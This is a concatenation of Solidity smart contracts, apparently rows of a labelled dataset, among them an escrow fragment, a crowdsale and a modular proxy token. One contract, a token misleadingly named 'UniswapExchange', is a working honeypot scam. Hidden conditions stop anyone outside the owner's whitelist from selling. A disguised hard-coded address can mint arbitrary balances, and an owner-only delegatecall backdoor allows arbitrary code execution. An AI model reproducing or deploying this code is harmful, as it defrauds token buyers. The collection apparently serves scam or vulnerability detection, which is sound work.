);
emit Evidence(arbitrator, _transactionID, msg.sender, _evidence);
}
function appeal(uint _transactionID) public payable {
Transaction storage transaction = transactions[_transactionID];
arbitrator.appeal.value(msg.value)(transaction.disputeId, arbitratorExtraData);
}
function rule(uint _disputeID, uint _ruling) public {
uint transactionID = disputeIDtoTransactionID[_disputeID];
Transaction storage transaction = transactions[transactionID];
require(msg.sender == address(arbitrator), "The caller must be the arbitrator.");
require(transaction.status == Status.DisputeCreated, "The dispute has already been resolved.");
emit Ruling(Arbitrator(msg.sender), _disputeID, _ruling);
executeRuling(transactionID, _ruling);
}
function executeRuling(uint _transactionID, uint _ruling) internal {
Transaction storage transaction = transactions[_transactionID];
require(_ruling <= AMOUNT_OF_CHOICES, "Invalid ruling.");
if (_ruling == SENDER_WINS) {
transaction.sender.send(transaction.senderFee + transaction.amount);
} else if (_ruling == RECEIVER_WINS) {
transaction.receiver.send(transaction.receiverFee + transaction.amount);
} else {
uint split_amount = (transaction.senderFee + transaction.amount) / 2;
transaction.sender.send(split_amount);
transaction.receiver.send(split_amount);
}
transaction.amount = 0;
transaction.senderFee = 0;
transaction.receiverFee = 0;
transaction.status = Status.Resolved;
}
function getCountTransactions() public view returns (uint countTransactions) {
return transactions.length;
}
function getTransactionIDsByAddress(address _address) public view returns (uint[] transactionIDs) {
uint count = 0;
for (uint i = 0; i < transactions.length; i++) {
if (transactions[i].sender == _address || transactions[i].receiver == _address)
count++;
}
transactionIDs = new uint[](count);
count = 0;
for (uint j = 0; j < transactions.length; j++) {
if (transactions[j].sender == _address || transactions[j].receiver == _address)
transactionIDs[count++] = j;
}
}
} | 0 | 886 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MultiOwnable {
mapping (address => bool) public isOwner;
address[] public ownerHistory;
event OwnerAddedEvent(address indexed _newOwner);
event OwnerRemovedEvent(address indexed _oldOwner);
function MultiOwnable() public {
address owner = msg.sender;
ownerHistory.push(owner);
isOwner[owner] = true;
}
modifier onlyOwner() {
require(isOwner[msg.sender]);
_;
}
function ownerHistoryCount() public view returns (uint) {
return ownerHistory.length;
}
function addOwner(address owner) onlyOwner public {
require(owner != address(0));
require(!isOwner[owner]);
ownerHistory.push(owner);
isOwner[owner] = true;
OwnerAddedEvent(owner);
}
function removeOwner(address owner) onlyOwner public {
require(isOwner[owner]);
isOwner[owner] = false;
OwnerRemovedEvent(owner);
}
}
contract Pausable is MultiOwnable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract MintableToken is StandardToken, MultiOwnable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(now >= openingTime && now <= closingTime);
_;
}
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return now > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, MultiOwnable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MailhustleToken is MintableToken, PausableToken {
string public constant name = "Mailhustle Token";
string public constant symbol = "MAIL";
uint8 public constant decimals = 18;
}
contract MailhustleCrowdsale is CappedCrowdsale, MintedCrowdsale, TimedCrowdsale {
using SafeMath for uint256;
uint256 _openingTime = 1520276997;
uint256 _closingTime = 1546214400;
uint256 _rate = 1000;
address _wallet = 0xDB2f9f086561D378D8d701feDd5569B515F9e7f7;
uint256 _cap = 1000 ether;
MintableToken _token = MailhustleToken(0xD006d2f23CDC9949727D482Ec707A1C9d1d4abDb);
function MailhustleCrowdsale() public
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_cap)
TimedCrowdsale(_openingTime, _closingTime)
{
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint16 multiply;
uint16 divide = 4;
if (weiRaised < 100 ether) {
multiply = 16;
} else if (weiRaised < 150 ether) {
multiply = 15;
} else if (weiRaised < 200 ether) {
multiply = 14;
} else if (weiRaised < 250 ether) {
multiply = 13;
} else if (weiRaised < 300 ether) {
multiply = 12;
} else if (weiRaised < 350 ether) {
multiply = 11;
} else if (weiRaised < 400 ether) {
multiply = 10;
} else if (weiRaised < 450 ether) {
multiply = 9;
} else {
multiply = 8;
}
return _weiAmount.mul(rate).mul(multiply).div(divide);
}
} | 1 | 2,986 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,976 |
pragma solidity ^0.4.23;
contract SGDCTokenReceiver {
function tokenFallback( address from, uint256 value ) external;
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface RegistryClone {
function syncAttributeValue(address _who, bytes32 _attribute, uint256 _value) external;
}
contract Registry {
struct AttributeData {
uint256 value;
bytes32 notes;
address adminAddr;
uint256 timestamp;
}
address public owner;
address public pendingOwner;
bool initialized;
constructor() public {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
function initialize() public {
require(!initialized, "already initialized");
owner = msg.sender;
initialized = true;
}
mapping(address => mapping(bytes32 => AttributeData)) attributes;
bytes32 constant WRITE_PERMISSION = keccak256("canWriteTo-");
mapping(bytes32 => RegistryClone[]) subscribers;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
event SetAttribute(address indexed who, bytes32 attribute, uint256 value, bytes32 notes, address indexed adminAddr);
event SetManager(address indexed oldManager, address indexed newManager);
event StartSubscription(bytes32 indexed attribute, RegistryClone indexed subscriber);
event StopSubscription(bytes32 indexed attribute, RegistryClone indexed subscriber);
function confirmWrite(bytes32 _attribute, address _admin) internal view returns (bool) {
return (_admin == owner || hasAttribute(_admin, keccak256(WRITE_PERMISSION ^ _attribute)));
}
function setAttribute(address _who, bytes32 _attribute, uint256 _value, bytes32 _notes) public {
require(confirmWrite(_attribute, msg.sender));
attributes[_who][_attribute] = AttributeData(_value, _notes, msg.sender, block.timestamp);
emit SetAttribute(_who, _attribute, _value, _notes, msg.sender);
RegistryClone[] storage targets = subscribers[_attribute];
uint256 index = targets.length;
while (index --> 0) {
targets[index].syncAttributeValue(_who, _attribute, _value);
}
}
function subscribe(bytes32 _attribute, RegistryClone _syncer) external onlyOwner {
subscribers[_attribute].push(_syncer);
emit StartSubscription(_attribute, _syncer);
}
function unsubscribe(bytes32 _attribute, uint256 _index) external onlyOwner {
uint256 length = subscribers[_attribute].length;
require(_index < length);
emit StopSubscription(_attribute, subscribers[_attribute][_index]);
subscribers[_attribute][_index] = subscribers[_attribute][length - 1];
subscribers[_attribute].length = length - 1;
}
function subscriberCount(bytes32 _attribute) public view returns (uint256) {
return subscribers[_attribute].length;
}
function setAttributeValue(address _who, bytes32 _attribute, uint256 _value) public {
require(confirmWrite(_attribute, msg.sender));
attributes[_who][_attribute] = AttributeData(_value, "", msg.sender, block.timestamp);
emit SetAttribute(_who, _attribute, _value, "", msg.sender);
RegistryClone[] storage targets = subscribers[_attribute];
uint256 index = targets.length;
while (index --> 0) {
targets[index].syncAttributeValue(_who, _attribute, _value);
}
}
function hasAttribute(address _who, bytes32 _attribute) public view returns (bool) {
return attributes[_who][_attribute].value != 0;
}
function getAttribute(address _who, bytes32 _attribute) public view returns (uint256, bytes32, address, uint256) {
AttributeData memory data = attributes[_who][_attribute];
return (data.value, data.notes, data.adminAddr, data.timestamp);
}
function getAttributeValue(address _who, bytes32 _attribute) public view returns (uint256) {
return attributes[_who][_attribute].value;
}
function getAttributeAdminAddr(address _who, bytes32 _attribute) public view returns (address) {
return attributes[_who][_attribute].adminAddr;
}
function getAttributeTimestamp(address _who, bytes32 _attribute) public view returns (uint256) {
return attributes[_who][_attribute].timestamp;
}
function syncAttribute(bytes32 _attribute, uint256 _startIndex, address[] _addresses) external {
RegistryClone[] storage targets = subscribers[_attribute];
uint256 index = targets.length;
while (index --> _startIndex) {
RegistryClone target = targets[index];
for (uint256 i = _addresses.length; i --> 0; ) {
address who = _addresses[i];
target.syncAttributeValue(who, _attribute, attributes[who][_attribute].value);
}
}
}
function reclaimEther(address _to) external onlyOwner {
_to.transfer(address(this).balance);
}
function reclaimToken(ERC20 token, address _to) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.transfer(_to, balance);
}
modifier onlyOwner() {
require(msg.sender == owner, "only Owner");
_;
}
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BalanceSheet is Claimable {
using SafeMath for uint256;
mapping (address => uint256) public balanceOf;
function addBalance(address _addr, uint256 _value) public onlyOwner {
balanceOf[_addr] = balanceOf[_addr].add(_value);
}
function subBalance(address _addr, uint256 _value) public onlyOwner {
balanceOf[_addr] = balanceOf[_addr].sub(_value);
}
function setBalance(address _addr, uint256 _value) public onlyOwner {
balanceOf[_addr] = _value;
}
}
contract AllowanceSheet is Claimable {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) public allowanceOf;
function addAllowance(address _tokenHolder, address _spender, uint256 _value) public onlyOwner {
allowanceOf[_tokenHolder][_spender] = allowanceOf[_tokenHolder][_spender].add(_value);
}
function subAllowance(address _tokenHolder, address _spender, uint256 _value) public onlyOwner {
allowanceOf[_tokenHolder][_spender] = allowanceOf[_tokenHolder][_spender].sub(_value);
}
function setAllowance(address _tokenHolder, address _spender, uint256 _value) public onlyOwner {
allowanceOf[_tokenHolder][_spender] = _value;
}
}
contract ProxyStorage {
address public owner;
address public pendingOwner;
bool initialized;
BalanceSheet balances_Deprecated;
AllowanceSheet allowances_Deprecated;
uint256 totalSupply_;
bool private paused_Deprecated = false;
address private globalPause_Deprecated;
uint256 public burnMin = 0;
uint256 public burnMax = 0;
Registry public registry;
string name_Deprecated;
string symbol_Deprecated;
uint[] gasRefundPool_Deprecated;
uint256 private redemptionAddressCount_Deprecated;
uint256 public minimumGasPriceForFutureRefunds;
mapping (address => uint256) _balanceOf;
mapping (address => mapping (address => uint256)) _allowance;
mapping (bytes32 => mapping (address => uint256)) attributes;
}
contract HasOwner is ProxyStorage {
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner() {
require(msg.sender == owner, "only Owner");
_;
}
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract ReclaimerToken is HasOwner {
function reclaimEther(address _to) external onlyOwner {
_to.transfer(address(this).balance);
}
function reclaimToken(ERC20 token, address _to) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.transfer(_to, balance);
}
function reclaimContract(Ownable _ownable) external onlyOwner {
_ownable.transferOwnership(owner);
}
}
contract ModularBasicToken is HasOwner {
using SafeMath for uint256;
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _who) public view returns (uint256) {
return _getBalance(_who);
}
function _getBalance(address _who) internal view returns (uint256) {
return _balanceOf[_who];
}
function _addBalance(address _who, uint256 _value) internal returns (uint256 priorBalance) {
priorBalance = _balanceOf[_who];
_balanceOf[_who] = priorBalance.add(_value);
}
function _subBalance(address _who, uint256 _value) internal returns (uint256 result) {
result = _balanceOf[_who].sub(_value);
_balanceOf[_who] = result;
}
function _setBalance(address _who, uint256 _value) internal {
_balanceOf[_who] = _value;
}
}
contract ModularStandardToken is ModularBasicToken {
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
function approve(address _spender, uint256 _value) public returns (bool) {
_approveAllArgs(_spender, _value, msg.sender);
return true;
}
function _approveAllArgs(address _spender, uint256 _value, address _tokenHolder) internal {
_setAllowance(_tokenHolder, _spender, _value);
emit Approval(_tokenHolder, _spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
_increaseApprovalAllArgs(_spender, _addedValue, msg.sender);
return true;
}
function _increaseApprovalAllArgs(address _spender, uint256 _addedValue, address _tokenHolder) internal {
_addAllowance(_tokenHolder, _spender, _addedValue);
emit Approval(_tokenHolder, _spender, _getAllowance(_tokenHolder, _spender));
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
_decreaseApprovalAllArgs(_spender, _subtractedValue, msg.sender);
return true;
}
function _decreaseApprovalAllArgs(address _spender, uint256 _subtractedValue, address _tokenHolder) internal {
uint256 oldValue = _getAllowance(_tokenHolder, _spender);
uint256 newValue;
if (_subtractedValue > oldValue) {
newValue = 0;
} else {
newValue = oldValue - _subtractedValue;
}
_setAllowance(_tokenHolder, _spender, newValue);
emit Approval(_tokenHolder,_spender, newValue);
}
function allowance(address _who, address _spender) public view returns (uint256) {
return _getAllowance(_who, _spender);
}
function _getAllowance(address _who, address _spender) internal view returns (uint256 value) {
return _allowance[_who][_spender];
}
function _addAllowance(address _who, address _spender, uint256 _value) internal {
_allowance[_who][_spender] = _allowance[_who][_spender].add(_value);
}
function _subAllowance(address _who, address _spender, uint256 _value) internal returns (uint256 newAllowance){
newAllowance = _allowance[_who][_spender].sub(_value);
_allowance[_who][_spender] = newAllowance;
}
function _setAllowance(address _who, address _spender, uint256 _value) internal {
_allowance[_who][_spender] = _value;
}
}
contract ModularBurnableToken is ModularStandardToken {
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 value);
uint256 constant CENT = 10 ** 16;
function burn(uint256 _value) external {
_burnAllArgs(msg.sender, _value - _value % CENT);
}
function _burnAllArgs(address _from, uint256 _value) internal {
_subBalance(_from, _value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_from, _value);
